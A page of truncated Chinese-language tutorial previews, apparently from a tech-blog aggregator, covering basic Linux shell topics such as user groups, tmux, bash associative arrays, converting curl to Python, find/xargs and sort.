echo ” $1,$2”> database grep “^$1,” database| sed -e "s/^$1", //" | tail -n 1 echo ” $1,$2”> database echo: echo 是一个常用的命令行工具&#xff0c;用于将文本输出到终端或者重定向到文件中。 $1 和 $2: 这是 shell 脚本中的位置参数。…

Linux CentOS7 用户组管理

Linux操作系统基于多用户的设计理念&#xff0c;允许多个用户同时使用系统资源。用户是登录系统并使用系统资源的个体&#xff0c;其都有自己的账户和密码。用户组是将众多用户归类为一组。Linux中的用户和用户组是系统安全和权限管理的基础。本文将探讨Linux中用户组的创建和管…

Tmux:终端复用器的基本使用(一)

tmux&#xff08;也称为终端多路复用器&#xff09;是一个强大的终端工具&#xff0c;旨在提高终端用户的工作效率。它允许用户在一个终端窗口内创建多个会话和窗格&#xff0c;从而轻松地在一个屏幕上同时运行多个终端应用程序。tmux 的目标是将多个终端会话和任务组织在一个简…

Linux shell编程学习笔记16:bash中的关联数组

上一节我们探讨了普通的数组&#xff0c;即使用数字下标来索引数组中不同的元素的数组&#xff0c;也可以称之为索引数组。 相比纯粹的数字&#xff0c;字符串不仅能表明含义&#xff0c;也更便于记忆使用&#xff0c;于是就有了关联数组。 一、关联数组概述 bash 从4.0开始支…

潇洒郎: cUrl(bash) 自动转换为python代码并执行

示例 cUrl = curl https://openapi.lddgo.net/base/gtool/api/v1/note/QueryPublicAllNote \ -H authority: openapi.lddgo.net \ -H accept: application/json, text/javascript, */*; q=0.01 \ -H accept-language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 \…

解决-bash: /usr/bin/mv: Argument list too long

最近搞了个几百万张的图像数据到服务器上&#xff0c;使用mv移动数据时出现了"-bash: /usr/bin/mv: Argument list too long"的错误 可以使用find命令结合xargs命令来解决这个问题&#xff1a; find /path/to/source/folder/ -name "*.jpg" -type f -pri…

linux centos7 sort命令的学习与训练

sort命令的功能是对文件中的各行进行排序。sort命令有许多非常实用的选项&#xff0c;这些选项最初是用来对数据库格式的文件内容进行各种排序操作的。实际上&#xff0c;sort命令可以被认为是一个非常强大的数据管理工具&#xff0c;用来管理内容类似数据库记录的文件。 sort…